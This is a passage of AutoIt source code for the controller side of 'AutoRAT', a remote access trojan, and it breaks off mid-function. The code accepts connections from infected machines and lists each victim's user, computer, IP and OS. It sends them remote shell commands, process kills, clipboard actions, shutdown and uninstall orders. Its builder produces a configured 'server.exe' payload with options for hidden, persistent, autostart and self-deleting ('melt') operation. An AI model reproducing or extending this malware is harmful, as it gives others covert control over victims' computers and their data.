  558.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  559.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "STANDBY")
  560.  
  561.     Case $uninstall ; UNINSTALL
  562.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  563.             ContinueLoop
  564.         EndIf
  565.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  566.         $frage = MsgBox(36, "Question", "Are you sure you want to uninstall the server?")
  567.         If $frage = 7 Then ContinueLoop
  568.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "UNINSTALL")
  569. ;~      _GUICtrlListView_DeleteItem (GUICtrlGetHandle($ListView1), $dummy[1])
  570.  
  571.     Case $shutdown ; SHUTDOWN
  572.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  573.             ContinueLoop
  574.         EndIf
  575.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  576.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "SHUTDOWN")
  577.  
  578.     Case $closeserver
  579.         if _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  580.             ContinueLoop
  581.         EndIf
  582.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  583.         $frage = MsgBox(36, "Question", "Are you sure you want to close the server?")
  584.         If $frage = 7 Then ContinueLoop
  585.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "EXIT")
  586.         _GUICtrlListView_DeleteItem(GUICtrlGetHandle($ListView1), $dummy[1])
  587.         WinSetTitle($winhandle, "", $version&"             " & _GUICtrlListView_GetItemCount($ListView1) & " Users are connected")
  588.         $tempindex = _ArraySearch($connections, _GUICtrlListView_GetItemText($ListView1, $dummy[1], 4))
  589.         If @error Then ContinueLoop 2
  590.         $connections[$tempindex] = ""
  591.         ContinueLoop
  592.         WinSetTitle($winhandle, "", $version&"             " & _GUICtrlListView_GetItemCount($ListView1) & " Users are connected")
  593.  
  594.     Case $reconnect
  595.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  596.             ContinueLoop
  597.         EndIf
  598.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  599.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "RECONNECT")
  600.         _GUICtrlListView_DeleteItem(GUICtrlGetHandle($ListView1), $dummy[1])
  601.  
  602.     Case $rename
  603.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  604.             ContinueLoop
  605.         EndIf
  606.         $eingabe = InputBox("Name", "Please Enter a Name:", "", "", 150, 120)
  607.         If $eingabe = "" Or @error Then
  608.             ContinueLoop
  609.         EndIf
  610.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  611.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "NAME=" & $eingabe)
  612.         _GUICtrlListView_SetItem($ListView1, $eingabe, $dummy[1])
  613.  
  614.     case $process
  615.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  616.             ContinueLoop
  617.         EndIf
  618.         $z = UBound($refreshprocesses)
  619.         ReDim $refreshprocesses[$z + 1]
  620.         $refreshprocesses[0] = $z
  621.         $yy = UBound($processpath)
  622.         ReDim $processpath[$yy + 1]
  623.         $processpath[0] = $yy
  624.         $zz = UBound($closeprocess)
  625.         ReDim $closeprocess[$zz + 1]
  626.         $closeprocess[0] = $zz
  627.         _makeprocessgui ()
  628.  
  629.  
  630.  
  631. ; =========================== START LISTEN ==============================
  632.  
  633.     Case $Button1 ; LISTEN
  634.  
  635.  
  636. ; ========================= WRITE SETTINGS =================================
  637.  
  638.  
  639.  
  640.         IniWrite ("settings.ini", "CLIENT SETTINGS", "LISTENPORT", GUICtrlRead($Input1))
  641.         IniWrite ("settings.ini", "CLIENT SETTINGS", "INCOMINGPW", GUICtrlRead($Input2))
  642.  
  643.         if GUICtrlRead ($Checkbox1) = 4 then
  644.         IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYCONNECT", "0")
  645.         Else
  646.         IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYCONNECT",GUICtrlRead ($Checkbox1))
  647.         EndIf
  648.  
  649.         if GUICtrlRead ($Checkbox2) = 4 then
  650.         IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYDISCONNECT", "0")
  651.         Else
  652.         IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYDISCONNECT",GUICtrlRead ($Checkbox2))
  653.         EndIf
  654.  
  655.         if GUICtrlRead ($Checkbox3) = 4 then
  656.         IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYSOUND", "0")
  657.         Else
  658.         IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYSOUND",GUICtrlRead ($Checkbox3))
  659.         EndIf
  660.  
  661. ; ============ END WRITE SETTINGS =========================
  662.  
  663.  
  664.         If GUICtrlRead($Input1) = "" Or StringIsDigit(GUICtrlRead($Input1)) = 0 Then
  665.         MsgBox(16, "ERROR", "Please enter a valid Port.")
  666.             ContinueLoop
  667.         EndIf
  668.         TCPStartup()
  669.         $ipadress = @IPAddress1
  670.         $mainsocket = TCPListen($ipadress, GUICtrlRead($Input1), 999)
  671.         If $mainsocket = -1 Then
  672.             _GUICtrlStatusBar_SetText($StatusBar1, "ERROR. Port is already in use.")
  673.             TCPShutdown()
  674.             $mainsocket = -1
  675.             ContinueLoop
  676.         EndIf
  677.         _GUICtrlStatusBar_SetText($StatusBar1, "Listen on Port " & GUICtrlRead($Input1) & ". Waiting for connections...")
  678.         For $k = 0 To UBound($connections) - 1
  679.             $connections[$k] = ""
  680.         Next
  681.         if GUICtrlRead ($Checkbox3) = 1 then SoundPlay (@TempDir & "\AutoRAT\linkactivated.wav", 0)
  682.  
  683.  
  684.  
  685.     Case $Button2
  686.         TCPShutdown()
  687.         _GUICtrlStatusBar_SetText($StatusBar1, "Listen aborted.")
  688.         _GUICtrlListView_DeleteAllItems(GUICtrlGetHandle($ListView1))
  689.         WinSetTitle($winhandle, "", $version&"             " & _GUICtrlListView_GetItemCount($ListView1) & " Users are connected")
  690.         $mainsocket = -1
  691.         if GUICtrlRead($Checkbox3) = 1 then SoundPlay (@TempDir & "\AutoRAT\linkdeactivated.wav", 0)
  692.  
  693. ; ===================== END LISTEN ===============================
  694.  
  695.     Case $Button3 ; ------------------> ADD DNS/IP
  696.         If _GUICtrlListView_GetItemCount($ListView2) >= 1 Then
  697.             MsgBox(16, "Error", "In this Version you can only add one IP/DNS.")
  698.             ContinueLoop
  699.         EndIf
  700.         $EIP = InputBox("Enter IP/DNS Adress", "Please enter your DNS/IP Adress", "127.0.0.1")
  701.         If $EIP = "" Or @error Then ContinueLoop
  702.         $EPORT = InputBox("Enter Port", "Please enter the connection Port for:" & @CRLF & @CRLF & $EIP, "81")
  703.         If $EPORT = "" Or @error Then ContinueLoop
  704.         $EINDEX = _GUICtrlListView_AddItem($ListView2, $EIP)
  705.         _GUICtrlListView_SetItem($ListView2, $EPORT, $EINDEX, 1)
  706.  
  707.     Case $Button4 ; ----> DELETE
  708.         If _GUICtrlListView_GetItemCount($ListView2) = 0 Then ContinueLoop
  709.         If _GUICtrlListView_GetItemSelected($ListView2, 0) = False Then ContinueLoop
  710.         _GUICtrlListView_DeleteItem(GUICtrlGetHandle($ListView2), 0)
  711.  
  712.     Case $Button5 ; -----------> BUILD THE SERVER
  713.         If _GUICtrlListView_GetItemCount($ListView2) = 0 Then
  714.             MsgBox(16, "Error", "Please add a IP/DNS.")
  715.             ContinueLoop
  716.         EndIf
  717.  
  718.         ; =================== WRITE SETTINGS.ini =======================
  719.  
  720.     IniWrite ("settings.ini", "SERVER SETTINGS", "DNSIP", _GUICtrlListView_GetItemText($ListView2, 0, 0))
  721.     IniWrite ("settings.ini", "SERVER SETTINGS", "PORT", _GUICtrlListView_GetItemText($ListView2, 0, 1))
  722.     IniWrite ("settings.ini", "SERVER SETTINGS", "MUTEX", GUICtrlRead($Input5))
  723.     IniWrite ("settings.ini", "SERVER SETTINGS", "SERVERPW", GUICtrlRead($Input6))
  724.  
  725.  
  726.     if GUICtrlRead ($Checkbox4) = 4 then
  727.     IniWrite ("settings.ini", "SERVER SETTINGS", "AUTOSTART", "0")
  728.     Else
  729.     IniWrite ("settings.ini", "SERVER SETTINGS", "AUTOSTART",GUICtrlRead ($Checkbox4))
  730.     EndIf
  731.  
  732.     if GUICtrlRead ($Checkbox6) = 4 then
  733.     IniWrite ("settings.ini", "SERVER SETTINGS", "HIDDEN", "0")
  734.     Else
  735.     IniWrite ("settings.ini", "SERVER SETTINGS", "HIDDEN",GUICtrlRead ($Checkbox6))
  736.     EndIf
  737.  
  738.     if GUICtrlRead ($Checkbox7) = 4 then
  739.     IniWrite ("settings.ini", "SERVER SETTINGS", "PERSISTANT", "0")
  740.     Else
  741.     IniWrite ("settings.ini", "SERVER SETTINGS", "PERSISTANT",GUICtrlRead ($Checkbox7))
  742.     EndIf
  743.  
  744.     if GUICtrlRead ($Checkbox8) = 4 then
  745.     IniWrite ("settings.ini", "SERVER SETTINGS", "MELT", "0")
  746.     Else
  747.     IniWrite ("settings.ini", "SERVER SETTINGS", "MELT",GUICtrlRead ($Checkbox8))
  748.     EndIf
  749.  
  750.     if GUICtrlRead ($Checkbox9) = 4 then
  751.     IniWrite ("settings.ini", "SERVER SETTINGS", "VISIBLE", "0")
  752.     Else
  753.     IniWrite ("settings.ini", "SERVER SETTINGS", "VISIBLE",GUICtrlRead ($Checkbox9))
  754.     EndIf
  755.  
  756.     if GUICtrlRead ($Checkbox5) = 4 then
  757.     IniWrite ("settings.ini", "SERVER SETTINGS", "INSTALL", "0")
  758.     Else
  759.     IniWrite ("settings.ini", "SERVER SETTINGS", "INSTALL",GUICtrlRead ($Checkbox5))
  760.     EndIf
  761.     IniWrite ("settings.ini", "SERVER SETTINGS", "FILENAME", GUICtrlRead($Input3))
  762.     IniWrite ("settings.ini", "SERVER SETTINGS", "FOLDERNAME", GUICtrlRead($Input4))
  763.     IniWrite ("settings.ini", "SERVER SETTINGS", "INSTALLPATH", GUICtrlRead($Combo1))
  764.     DirCreate(@TempDir & "\AutoRAT")
  765.     FileDelete(@TempDir & "\AutoRAT\server.exe")
  766.     FileInstall("server.exe", @TempDir & "\AutoRAT\server.exe", 1)
  767.     $serverhandle = FileOpen(@TempDir & "\AutoRAT\server.exe", 1)
  768.     FileWriteLine ($serverhandle, "")
  769.     FileWriteLine($serverhandle, "STARTEOF")
  770.     FileWriteLine($serverhandle, "DNSIP=" & _GUICtrlListView_GetItemText($ListView2, 0))
  771.     FileWriteLine($serverhandle, "PORT=" & _GUICtrlListView_GetItemText($ListView2, 0, 1))
  772.     FileWriteLine($serverhandle, "Autostart=" & GUICtrlRead($Checkbox4))
  773.     FileWriteLine($serverhandle, "Install=" & GUICtrlRead($Checkbox5))
  774.     FileWriteLine($serverhandle, "MELT=" & GUICtrlRead($Checkbox8))
  775.     FileWriteLine($serverhandle, "Hidden=" & GUICtrlRead($Checkbox6))
  776.     FileWriteLine($serverhandle, "PASSWORD=" & GUICtrlRead($Input6))
  777.     FileWriteLine($serverhandle, "MUTEX=" & GUICtrlRead($Input5))
  778.     FileWriteLine($serverhandle, "PERSISTANT=" & GUICtrlRead($Checkbox7))
  779.     FileWriteLine($serverhandle, "VISIBLE=" & GUICtrlRead($Checkbox9))
  780.     FileWriteLine($serverhandle, "FILENAME=" & GUICtrlRead($Input3))
  781.     FileWriteLine($serverhandle, "FOLDER=" & GUICtrlRead($Input4))
  782.     FileWriteLine($serverhandle, "PATH=" & GUICtrlRead($Combo1))
  783.     FileWrite($serverhandle, @CRLF&"ENDEOF")
  784.     FileClose($serverhandle)
  785.     FileDelete(@ScriptDir & "\server.exe")
  786.     $copypath = FileSaveDialog ("Save File", @ScriptDir, "PE File (*.exe)","","server")
  787.     if @error = 1 then ContinueLoop
  788.     $stringinstrpath = StringInStr($copypath,".exe")
  789.     If $stringinstrpath=0 Then $copypath = ($copypath & ".exe")
  790.     FileCopy(@TempDir & "\AutoRAT\server.exe", $copypath, 1)
  791.     FileDelete(@TempDir & "\AutoRAT\server.exe")
  792.     MsgBox(64, "Success", "The Server was succsessfully created.")
  793.  
  794.  
  795.  
  796.  
  797. ; ============================================== END BUILD SERVER =============================
  798.  
  799.  
  800.  
  801.     Case $getping
  802.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  803.             ContinueLoop
  804.         EndIf
  805.  
  806.         $index = _GUICtrlListView_GetSelectedIndices ($ListView1, true)
  807.  
  808.         _GUICtrlListView_SetItem($ListView1, "Pinging...", $index[1], 5)
  809.         $pingip= Ping(_GUICtrlListView_GetItemText($ListView1, $index[1], 2),300)
  810.         If $pingip Then ;If error=0
  811.             $ipping=$pingip
  812.         Else
  813.             $ipping="N.A."
  814.         EndIf
  815.         _GUICtrlListView_SetItem($ListView1, $ipping, $index[1], 5)
  816.  
  817.     Case $remoteshell
  818.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  819.             ContinueLoop
  820.         EndIf
  821.  
  822.         $cmdvar = UBound($cmdinput)
  823.         ReDim $cmdinput[$cmdvar + 1]
  824.         $cmdinput[0] = $cmdvar
  825.  
  826.  
  827.         _makeremoteshellgui ()
  828.  
  829.  
  830.     Case $clipboardmanager
  831.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  832.         ContinueLoop
  833.         EndIf
  834.  
  835.         $cc = UBound($clipapply)
  836.         ReDim $clipapply[$cc + 1]
  837.         $clipapply[0] = $cc
  838.  
  839.         _makepclipboardgui ()
  840.  
  841.     Case $msgboxcontext
  842.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  843.         ContinueLoop
  844.         EndIf
  845.  
  846.         $pp = UBound($msgtest)
  847.         ReDim $msgtest[$pp + 1]
  848.         $msgtest[0] = $pp
  849.  
  850.         $tt = UBound($msgsend)
  851.         ReDim $msgsend[$tt + 1]
  852.         $msgsend[0] = $tt
  853.  
  854.         _makemsgui()
  855.  
  856.  
  857.  
  858.  
  859.  
  860.  
  861.     Case Else
  862.         if ($cmdinput[0]) Then
  863.             for $cmdvar = 1 to $cmdinput[0]
  864.                 if ($nMsg[0] == $cmdinput[$cmdvar]) Then
  865.                     $title = WinGetTitle ($nMsg[1])
  866.                     Sleep(50)
  867.                     If ControlGetText($title, "", "[CLASS:Edit; INSTANCE:2]") = "" Then ContinueLoop
  868.                     If WinActive ($title) = 0 Then ContinueLoop
  869.                     $cmdgettext = ControlGetText($title, "", "[CLASS:Edit; INSTANCE:2]")
  870.                     _GUICtrlEdit_SetSel (ControlGetHandle($title,"","[CLASS:Edit; INSTANCE:2]"),0,StringLen(ControlGetText($title,"","[CLASS:Edit; INSTANCE:2]")))
  871.                     _GUICtrlEdit_AppendText (ControlGetHandle ($title, "", "[CLASS:Edit; INSTANCE:1]")," ")
  872.                     $buffer = ControlGetText ($title, "", "[CLASS:Edit; INSTANCE:1]") & $cmdgettext
  873.                     ControlSetText($title, "", "[CLASS:Edit; INSTANCE:1]", $buffer)
  874.                     _GUICtrlEdit_ReplaceSel(ControlGetHandle($title,"","[CLASS:Edit; INSTANCE:2]"),"")
  875.                     $socket = StringInStr ($title, "SOCKET:")
  876.                     $newsocket = StringTrimLeft ($title, $socket +6)
  877.                     TCPSend ($newsocket, "SETCMD="& $cmdgettext)
  878.                     For $i = 1 To 3072 Step 0.5
  879.                         $cmdreturn = TCPRecv ($newsocket, 3072)
  880.                         Sleep (150)
  881.                         if $cmdreturn <> "" and StringLeft ($cmdreturn,10) = "RETURNCMD=" Then ExitLoop
  882.                     Next
  883.                     $cmdreturn = StringTrimLeft ($cmdreturn, 10 + StringLen($cmdgettext))
  884.                     $buffer = $buffer & $cmdreturn
  885.                     ControlSetText($title, "", "[CLASS:Edit; INSTANCE:1]", $buffer)
  886.                     _GUICtrlEdit_AppendText (ControlGetHandle ($title, "", "[CLASS:Edit; INSTANCE:1]"), " ")
  887.                 EndIf
  888.             Next
  889.         EndIf
  890.  
  891.             If ($refreshprocesses[0]) Then
  892.                 For $z = 1 To $refreshprocesses[0]
  893.                     If ($nMsg[0] == $refreshprocesses[$z]) Then
  894.                         _refreshprocess ()
  895.                     EndIf
  896.                 Next
  897.             EndIf
  898.  
  899.             If  ($closeprocess[0]) Then
  900.                 For $zz = 1 To $closeprocess[0]
  901.                 If ($nMsg[0] == $closeprocess[$zz]) Then
  902.                     _closeproces ()
  903.                 EndIf
  904.             Next
  905.             EndIf
  906.  
  907.             If  ($processpath[0]) Then
  908.                 For $yy = 1 To $processpath[0]
  909.                 If ($nMsg[0] == $processpath[$yy]) Then
  910.                     _getprocesspath ()
  911.                 EndIf
  912.                 Next
  913.             EndIf
  914.  
  915.             If  ($msgsend[0]) Then
  916.                 For $tt = 1 To $msgsend[0]
  917.                 If ($nMsg[0] == $msgsend[$tt]) Then
  918.                 _msgsend()
  919.             EndIf
  920.                 Next
  921.             EndIf
  922.  
  923.             if ($clipapply[0]) Then
  924.                 for $cc = 1 to $clipapply[0]
  925.                     if ($nMsg[0] == $clipapply[$cc]) Then
  926.                         _receivesend ()
  927.                     EndIf
  928.                 Next
  929.             EndIf
  930.  
  931.                         if ($msgtest[0]) Then
  932.                 for $pp = 1 to $msgtest[0]
  933.                     if ($nMsg[0] == $msgtest[$pp]) Then
  934.                         _testmsg ()
  935.                     EndIf
  936.                 Next
  937.             EndIf
  938.  
  939.  
  940.  
  941. EndSwitch
  942.  
  943.  
  944.  
  945. ; ========================================================== W8 for connections =========================================
  946.  
  947. $timer = $timer + 1
  948. if $timer = 3 Then
  949. $timer = 0
  950.  
  951.     If $mainsocket = -1 Or $mainsocket = "" Then
  952.         _GUICtrlListView_DeleteAllItems(GUICtrlGetHandle($ListView1))
  953.         ContinueLoop
  954.     EndIf
  955.  
  956.  
  957.  
  958.     If _GUICtrlListView_GetItemCount($ListView1) > 0 Then
  959.         If $l > _GUICtrlListView_GetItemCount($ListView1) - 1 Then $l = 0
  960.         TCPRecv(_GUICtrlListView_GetItemText($ListView1, $l, 4), 1)
  961.         If @error And _GUICtrlListView_GetItemText($ListView1, $l, 4) > 0 Then
  962.             If GUICtrlRead($Checkbox2) = 1 Then
  963.         $notifydisconnectwindow = GUICreate("Notifydisconnect", 446, 58, @DesktopWidth-446,@DesktopHeight-(58+$taskbar_pos), BitOR ($WS_POPUP,$WS_POPUPWINDOW))
  964.         GUISetBkColor(0x000000)
  965.         $disconnectlabel2 = GUICtrlCreateLabel("Connection Lost:", 0, 8, 444, 20, $SS_CENTER)
  966.         GUICtrlSetFont(-1, 10, 800, 4, "Courier New")
  967.         GUICtrlSetColor(-1, 0xFF0000)
  968.         $disconnectlabel1 = GUICtrlCreateLabel("The User "&_GUICtrlListView_GetItemText($ListView1, $l, 0)&" has been disconnected", 0, 32, 444, 20, $SS_CENTER)
  969.         GUICtrlSetFont(-1, 10, 400, 0, "Courier New")
  970.         GUICtrlSetColor(-1, 0x008000)
  971.         DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $notifydisconnectwindow, "int", 500, "long", 0x00040008);slide-in from bottom
  972.         GUISetState(@SW_SHOW)
  973.         $time2 = TimerInit()
  974.         $timerinit2 = 1
  975.         EndIf
  976.  
  977.             If GUICtrlRead($Checkbox3) = 1 Then SoundPlay (@TempDir & "\AutoRAT\userleft.wav", 0)
  978.             $connections[$l] = ""
  979. ; ============ CONNECTION LOST =================
  980.  
  981. ; KILL FORMS ^^
  982.  
  983. $winarray = WinList ()
  984.  
  985. for $i = 1 to $winarray[0][0]
  986. if StringInStr ($winarray[$i][0], "SOCKET:"&_GUICtrlListView_GetItemText($ListView1, $l, 4)) > 0 Then
  987. GUIDelete ($winarray[$i][1])
  988. EndIf
  989. Next
  990.  
  991. ; =============================================
  992.  
  993.  
  994.             _GUICtrlListView_DeleteItem(GUICtrlGetHandle($ListView1), $l)
  995.  
  996.  
  997.  
  998.  
  999.             WinSetTitle($winhandle, "", $version&"             " & _GUICtrlListView_GetItemCount($ListView1) & " Users are connected")
  1000.             $l = 0
  1001.         EndIf
  1002.         $l = $l + 1
  1003.     EndIf
  1004.  
  1005.  
  1006.     $tempconnection = TCPAccept($mainsocket)
  1007.     If $tempconnection = -1 Then ContinueLoop
  1008.  
  1009.  
  1010.     ; TEEEST
  1011.  
  1012.                     For $k = 0 To UBound($connections) - 1
  1013.                 $connections[$k] = ""
  1014.             Next
  1015.  
  1016.     ; TEEEEEEEEEEEEESt
  1017.  
  1018.     $index = _ArraySearch($connections, $tempconnection)
  1019.     If @error Then
  1020.         For $j = 0 To UBound($connections) - 1
  1021.             If $connections[$j] = "" Then
  1022.                 $connections[$j] = $tempconnection
  1023.                 $string = TCPRecv($connections[$j], 2048)
  1024.                 If $string = "" Then ContinueLoop
  1025.                 $pos1 = StringInStr($string, "IP=")
  1026.                 $PW = StringLeft($string, $pos1 - 1) ; PW = XXXX
  1027.                 $string2 = StringTrimLeft($string, StringLen($PW))
  1028.                 $pos2 = StringInStr($string2, "USERNAME=")
  1029.                 $IP = StringLeft($string2, $pos2 - 1) ; IP= XXXX
  1030.                 $string3 = StringTrimLeft($string2, StringLen($IP))
  1031.                 $pos3 = StringInStr($string3, "COMPUTER=")
  1032.                 $USERNAME = StringLeft($string3, $pos3 - 1) ; COMPUTER = XXX
  1033.                 $string4 = StringTrimLeft($string3, StringLen($USERNAME))
  1034.                 $pos4 = StringInStr($string4, "OS=")
  1035.                 $COMPUTER = StringLeft($string4, $pos4 - 1)
  1036.                 $OS = StringTrimLeft($string4, StringLen($COMPUTER))
  1037.                 If StringTrimLeft($PW, 3) <> GUICtrlRead($Input2) Then
  1038.                     TCPCloseSocket($connections[$j])
  1039.                     $connections[$j] = ""
  1040.                     ContinueLoop 2
  1041.                 EndIf
  1042.  
  1043.                 $pingip= Ping(SocketToIP($tempconnection),300)
  1044.                 If $pingip Then ;If error=0
  1045.                     $ipping=$pingip
  1046.                 Else
  1047.                     $ipping="N.A."
  1048.                 EndIf
  1049.                 $index = _GUICtrlListView_AddItem($ListView1, StringTrimLeft($USERNAME, 9))
  1050.                 _GUICtrlListView_SetItem($ListView1, StringTrimLeft($COMPUTER, 9), $index, 1)
  1051.                 _GUICtrlListView_SetItem($ListView1, SocketToIP($tempconnection), $index, 2)
  1052.                 WinSetTitle($winhandle, "", $version&"             " & _GUICtrlListView_GetItemCount($ListView1) & " Users are connected")
  1053.                 _GUICtrlListView_SetItem($ListView1, StringTrimLeft($OS, 3), $index, 3)
  1054.                 _GUICtrlListView_SetItem($ListView1, $connections[$j], $index, 4)
  1055.                 _GUICtrlListView_SetItem($ListView1, $ipping, $index, 5)
  1056.  
  1057.                 ; TEST
  1058.  
  1059.                 For $k = 0 To UBound($connections) - 1
  1060.                 $connections[$k] = ""
  1061.                 Next
  1062.  
  1063.                 If GUICtrlRead($Checkbox1) = 1 Then
  1064.  
  1065.                 $Notify = GUICreate("Notify", 302, 149, @DesktopWidth-302,@DesktopHeight-(149+$taskbar_pos), $WS_POPUP)
  1066.                 GUISetBkColor(0x000000)
  1067.                 WinSetOnTop($Notify,"",1)
  1068.                 $Label1 = GUICtrlCreateLabel("Name:  "&_GUICtrlListView_GetItemText($ListView1, $index, 0), 8, 32, 286, 17)
  1069.                 GUICtrlSetFont(-1, 9, 400, 0, "Courier New")
  1070.                 GUICtrlSetColor(-1, 0x008000)
  1071.                 $Label2 = GUICtrlCreateLabel("New Connection:", 8, 8, 124, 20)
  1072.                 GUICtrlSetFont(-1, 10, 800, 4, "Courier New")
  1073.                 GUICtrlSetColor(-1, 0xFF0000)
  1074.                 $Label3 = GUICtrlCreateLabel("Computername:  "&_GUICtrlListView_GetItemText($ListView1, $index, 1), 8, 80, 278, 19)
  1075.                 GUICtrlSetFont(-1, 9, 400, 0, "Courier New")
  1076.                 GUICtrlSetColor(-1, 0x008000)
  1077.                 $Label4 = GUICtrlCreateLabel("IP:  "& _GUICtrlListView_GetItemText($ListView1, $index, 2), 8, 56, 284, 17)
  1078.                 GUICtrlSetFont(-1, 9, 400, 0, "Courier New")
  1079.                 GUICtrlSetColor(-1, 0x008000)
  1080.                 $Label5 = GUICtrlCreateLabel("Operating System:  "&_GUICtrlListView_GetItemText($ListView1, $index, 3), 8, 104, 284, 17)
  1081.                 GUICtrlSetFont(-1, 9, 400, 0, "Courier New")
  1082.                 GUICtrlSetColor(-1, 0x008000)
  1083.                 $Label6 = GUICtrlCreateLabel("Ping:  "&_GUICtrlListView_GetItemText($ListView1, $index, 5), 9, 128, 284, 17)
  1084.                 GUICtrlSetFont(-1, 9, 400, 0, "Courier New")
  1085.                 GUICtrlSetColor(-1, 0x008000)
  1086.                 DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $Notify, "int", 500, "long", 0x00040008);slide-in from bottom
  1087.                 GUISetState(@SW_SHOW)
  1088.                 $time = TimerInit ()
  1089.                 $timerinit = 1
  1090.  
  1091.  
  1092.  
  1093.  
  1094.  
  1095.                 EndIf
  1096.  
  1097.                 If GUICtrlRead($Checkbox3) = 1 Then SoundPlay (@TempDir & "\AutoRAT\userjoined.wav", 0)
  1098.                 $connections[$index] = $tempconnection
  1099.                 ExitLoop
  1100.             EndIf
  1101.         Next
  1102.     EndIf
  1103. EndIf
  1104.  
  1105. ; ============================================================== END w8 FOR CONNECTIONS ========================================
  1106.  
  1107.  
  1108. WEnd
  1109.  
  1110. ; ================================================== END MSG MODE ==================================================
  1111.  
  1112.  
  1113. ; ================================================== FUNCTIONS ========================
  1114.  
  1115. Func SHOW() ; SHOWS THE GUI AFTER SHOW IN TRAY
  1116.     GUISetState(@SW_SHOW, $Form1)
  1117.     GUISetState(@SW_RESTORE, $Form1)
  1118.     TrayItemDelete($tray)
  1119.     TrayItemDelete($tray2)
  1120.     TrayItemDelete($tray3)
  1121. EndFunc   ;==>SHOW
  1122.  
  1123. Func CLOSE()
  1124.     Exit
  1125. EndFunc   ;==>CLOSE
  1126.  
  1127. Func SocketToIP($SHOCKET)
  1128.     Local $sockaddr, $aRet
  1129.  
  1130.     $sockaddr = DllStructCreate("short;ushort;uint;char[8]")
  1131.  
  1132.     $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
  1133.             "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
  1134.     If Not @error And $aRet[0] = 0 Then
  1135.         $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
  1136.         If Not @error Then $aRet = $aRet[0]
  1137.     Else
  1138.         $aRet = 0
  1139.     EndIf
  1140.  
  1141.     $sockaddr = 0
  1142.  
  1143.     Return $aRet
  1144. EndFunc   ;==>SocketToIP
  1145.  
  1146. Func endscript()
  1147. TCPShutdown ()
  1148. DirRemove (@TempDir & "\AutoRAT")
  1149. Exit
  1150. EndFunc
  1151.  
  1152. Func _makeprocessgui()
  1153.         $dummy = _GUICtrlListView_GetSelectedIndices ($ListView1, true)
  1154.         if WinExists ("Processes "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4)) = 1 Then
  1155.             Return 0
  1156.         EndIf
  1157.         $processwindow = GUICreate("Processes "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4), 610, 400, -1, -1)
  1158.         $processcontextmenu = GUICtrlCreateContextMenu()
  1159.         GUICtrlSetCursor (-1, 0)
  1160.         $processstatus = _GUICtrlStatusBar_Create($processwindow)
  1161.         GUICtrlSetCursor (-1, 0)
  1162.         $processlistview = GUICtrlCreateListView("Process|PID|Path", 0, 0, 610, 380, -1, $LVS_EX_GRIDLINES)
  1163. ;~      $processlistview = GUICtrlCreateListView("Process|PID|Path", 0, 0, 610, 380, -1, BitOR($WS_EX_CLIENTEDGE,$LVS_EX_GRIDLINES))
  1164.         GUICtrlSetImage (-1, @TempDir&"\AutoRAT\process.ico")
  1165.         GUICtrlSetCursor (-1, 0); mach die table nochn pixle breiter
  1166.         GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 0, 150)
  1167.         GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 1, 50)
  1168.         GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 2, 375)
  1169.         $processcontext = GUICtrlCreateContextMenu($processlistview)
  1170.         $refreshprocesses[$z] = GUICtrlCreateMenuItem("Refresh", $processcontext)
  1171.         $closeprocess[$zz] = GUICtrlCreateMenuItem("Close Process", $processcontext)
  1172.         $processpath[$yy] = GUICtrlCreateMenuItem("Get Processpath", $processcontext)
  1173.         GUISetState(@SW_SHOW)
  1174. EndFunc
  1175.  
  1176. Func _refreshprocess ()
  1177.                     $pos55 = StringInStr (WinGetTitle($nMsg[1]), "SOCKET:")
  1178.                     $socket =StringTrimLeft (WinGetTitle($nMsg[1]),$pos55+6)
  1179.                     $processlistviewhandle = ControlGetHandle(WinGetTitle($nMsg[1]), "", "[CLASS:SysListView32; INSTANCE:1]")
  1180.                     $processstatusbar = ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:msctls_statusbar32; INSTANCE:1]")
  1181.                     _GUICtrlListView_DeleteAllItems ($processlistviewhandle)
  1182.                     _GUICtrlStatusBar_SetText ($processstatusbar, "Please wait...")
  1183.                     TCPSend ($socket, "GETPROCESSES")
  1184.                     while 1
  1185.                     $test = TCPRecv ($socket, 2048)
  1186.                     if @error then
  1187.                     ExitLoop
  1188.                     GUIDelete ($nMsg[1])
  1189.                     EndIf
